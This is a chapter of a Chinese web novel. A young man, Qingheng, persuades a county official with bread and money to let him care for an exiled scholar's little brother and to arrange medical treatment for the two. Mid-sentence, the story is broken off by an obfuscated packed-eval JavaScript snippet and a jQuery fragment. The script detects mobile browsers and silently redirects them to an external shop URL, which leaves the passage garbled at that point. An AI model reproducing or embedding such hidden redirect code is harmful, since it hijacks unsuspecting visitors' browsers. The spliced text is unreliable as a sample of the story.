刘县尉嘴角抽了抽,半晌,才说出一句话:“你就不怕他跑了?”
“怕啊,当然怕!”青珩见他没否定,不管三七二十一了,直接放开了胆子道:“所以,我想求刘公个事儿。”
刘县尉目光惊奇又一言难尽地看着他:“什么事儿?”
青珩赶紧取下包裹,打开后,从里面取出十个胡饼放炕桌上,往刘县尉那里推了推:“刘公,这是自家做的,你尝尝。”
刘县尉看了一眼,没接话。
青珩也不在意,凑近一点儿,压低声音道:“我想求你把那个小的给我养。”
他道:“小的跟着他,在配所里吃住不好,天气马上冷了,再时不时生个病,他哪里能安心干活儿。说不得闹腾起来,又会给咱官府添麻烦。”
青珩来之前,没想到邢公的夫人在流放路上就去了,邢家的小娘子们也去的去,断绝关系的断绝关系。
一般情况下,她们受牵连到了流放点,也是住配所,限制活动范围,但允许接一些针线、浆洗活计赚取微薄收入,养自己,养孩子;若是已出嫁,就不会受牵连,通常是可以把邢家十岁以下的孩子留在身边照顾,还能隔段时间给邢越他们这些流人寄些财和物接济。
若是感情深厚,不怕牵连,不辞辛苦,还能申请来探望,告诉流人家里有人在惦记。
官府为了让做苦役的流人心里有盼头,是不强制其家里十岁以下孩童到流放地的,通常也是允许家属探望的。
当然,前提是有家属愿意代为照顾小孩以及探望。
现在,邢家一家子路上去的去,断绝关系的断绝关系,小的跟了来,但没人照顾,年纪小又干不了活儿,官府不会给提供饭食,只能依仗邢越一边做苦役,一边从本就不足的饭食里省出来些,喂给小的。
而配所住宿条件不好,天气又马上大降温,他俩这种缺衣少食又没盼头的日子,就算这次病好了,在配所里也坚持不了多久。
饿死或者病死,总会有一个等着他们。
青珩原本只是寻思花钱贿赂县尉,得个探望机会。
现在却得想法子,把小的要过来,养在自己身边。
“小的跟着我,我给他养好了,时不时再带去瞧瞧他,他放心,也对我感激,从配所里出来后,再和我成个家,在这里落户,心说不得就定了。”青珩道。
“再者……”青珩继续加码:“他还是个人才。咱交河县多少年能出一个进士?十几二十年都出不了一个吧。他脑袋养好,从配所里出来,哪怕做普通农户,只要脑子那么一转,说不得就能想到什么点子,给咱交河县做点儿贡献。”
“刘公,你说,我说的是不是那回事儿呢。”青珩望着刘县尉,殷殷问道。
刘县尉看看炕桌上那十个胡饼,又看看青珩殷切的眼神。
半晌,他嗤笑一声:“你这脑子,倒是转得快。”
“规矩上,非家属不能探望服役流人、带走流人不满十岁的孩子,除非他们卖身为奴,由主家探望或照顾。”他点破了青珩的心思:“你这一招,倒是免了他们卖身,还把保人、照顾、探望都解决了。”
青珩赔笑道:“那也是刘公英明,为我们交河县考虑。”
“那小的你养得起么?”刘县尉抛出最实际的问题。
“这个没问题的。”青珩赶紧道:“我有二十亩地,虽然有不少是部田,不靠近水源,地力贫瘠,需要轮休。但正好今年轮休过,明年春季就能种上粟,我好好拾掇田里,坚持养他一年没问题的。等他阿兄出来,再租些地,日子总能过下去的。”
顿了顿,他指着炕桌上的胡饼,笑道:“这是白面饼,今日特意带来给他们兄弟,我喜欢大的,就不会亏待小的,刘公可以放心。”
刘县尉:“……”
他在西州待了二十多年,什么样的哥儿没见过?但这么混不吝的,还真头一次碰着。
刘县尉思考了片刻,不再拒绝:“看来你是真想作保,那我也不拦你了,只是往后若是出了事,可别说我今日没提醒过你。”
“那是自然。”青珩松了口气,笑道:“刘公都是为我好,我是晓得的。”
刘县尉见此,也不再多说,安排事情:“那今晚,你就带他们先去看病吧。”
他说着话,从炕上下来,穿上靴子:“我安排两个衙差跟着你们,三日后,小的跟着你,大的回配所服役。你到时候也来一趟,把相关手续补上。”
说罢,起身就要带青珩出门。
“刘公!”青珩顿了顿,忙拦住他,从包裹里掏出钱串递过去:“这是两贯钱,我想给他申请一个月的以资代役,留他在家养一个月的身体,养好后再去配所。”
……
青珩从刘县尉家里出来,就被等在门口的江沈一把抓住。
“你们谈了什么,怎么那么久?”江沈见他包裹空荡了许多,神色紧张。
青珩想着刘公更完衣一会儿要出来,这地儿不适合谈话,就把他往远处带了带,才道:“保他们看病,还有一个月的以资代役,钱都交了。”
江沈:“……”
他一脸灰败,心道:完了,彻底完了。
“喏,给你五个胡饼。”青珩从包裹里掏了掏,数出五个递给他。
江沈眼神亮了亮,但还是哭丧着脸:“你这样,我哪有心情吃得下去啊。”
“是吗?”青珩手腕一转,饼又收了回来:“那我自己吃好啦。”
“哎,别这样。”江沈立马顾不得哭丧了,伸手抢回来,塞进自己衣服里,把胸膛垫得高高隆起,他振振有词道:“我不能一样都不占,劝不了你,有胡饼安慰也是可以的。”
青珩忍不住笑起来,见刘公从自家院子里出来,看了他俩一眼,赶紧拉了拉江沈:“走吧,刘公安排了衙差,你也帮我搭把手,咱们先把他们送到药堂再说。”
回到衙差们住的院子,刘公从班房里喊了两个衙差出来,带到一边交待事情。
青珩在邢越身前弯下腰,这次他见到了从衣裳底下露出头的邢召,窝在邢越怀里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255776|197998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,虽然脏兮兮的,脸蛋也烧得红红的,精神头萎靡,但见到他,眼中竟露出一丝好奇与亲近,小声说了一句:“谢谢小哥儿的胡饼。”
说的是官话,不过比较简单,青珩听懂了,他笑了起来,这娃娃还是挺懂事的嘛。
他点点头,笑嘻嘻地用西州话回道:“不用客气,你好好帮我看着你阿兄,叫他老实点儿,我连你家祖宗十八代都谢过。”
然后抬头看向邢越,发现这人也正在看他,脏得看不出来本相的脸上,一双明秀眼眸其实还挺好看的。
此时,那双眼里的戒备与警惕已经散了,似乎还有些不好意思,对上他的视线,就闪烁了下,悄悄移开了。
青珩确定了他不懂西州话。
不过不到半个时辰,这家伙态度就变了。
青珩心中啧啧称奇,目光在兄弟俩身上转了一圈:难道这大的是个弟弟奴?
弟弟态度改变,他也改变?
如果是这样的话,养着他弟弟,他应该就不会逃跑以及不老实了吧。
青珩胡乱想着,手掌在邢越眼前晃了晃:“哎。”
在邢越看过来时,他用官话道:“我一会儿带你们去药堂。”
邢越的眼神一瞬茫然。
青珩不经意瞟了眼小的,邢召的眼睛里是惊讶,并没有茫然。
青珩心思一动,想了想,弯腰捡起地上的一只烂陶碗:“喏,就是这样……”
他把碗举到嘴边,长大嘴巴,捏着鼻子,仰头,一副吞咽艰难的模样。
待碗似乎空了,他放下碗,用袖子抹了下嘴,伸长舌头,手掌使劲扇了扇,“哈赤哈赤”吐气。
然后一边吐着舌头,使劲扇,一边示意邢越:“喏,就是喝药,懂么?”
邢越:“……”
他见对方舌头也不收回去,亮晶晶的眼睛一眨不眨好奇地盯着自己,似乎在等反应,跟现代热得出汗的哈巴狗一样搞笑,忍不住嘴角抽了抽。
只好点了点头,露出恍然大悟的表情。
而邢召已经瞪大眼睛,小手猛地捂住小嘴,两只眼睛弯成了小月牙。
显然是被青珩的样子逗乐了,在憋笑,又不好意思。
青珩不晓得邢越把他比作了什么,松了口气:确定了,这大的没傻,能看得懂表演。
想来,也不用花费太多治脑子,他包裹里剩的铜板能够用。
不过……
青珩瞧着邢越面容丝毫不见呆滞,不禁又陷入新的疑惑:他没傻,那为什么听不懂官话呢?若是因为西州口音,小的明明就能听懂啊。
旁边的刘县尉自他表演就停了话头,嘴角抽搐地看着他。
见他表演完了,才“咳”了一声,把众人注意力拉回来:“你们去吧,明日早上,青珩你把文书都交过来,别忘了。”
“哎,好的。”青珩忙抛开邢越的脑子,转身朝他行了个礼:“今日麻烦刘公了。”
刘县尉看了他和邢越一眼,微点了下头,就背着手,踱着步,轻松离开了。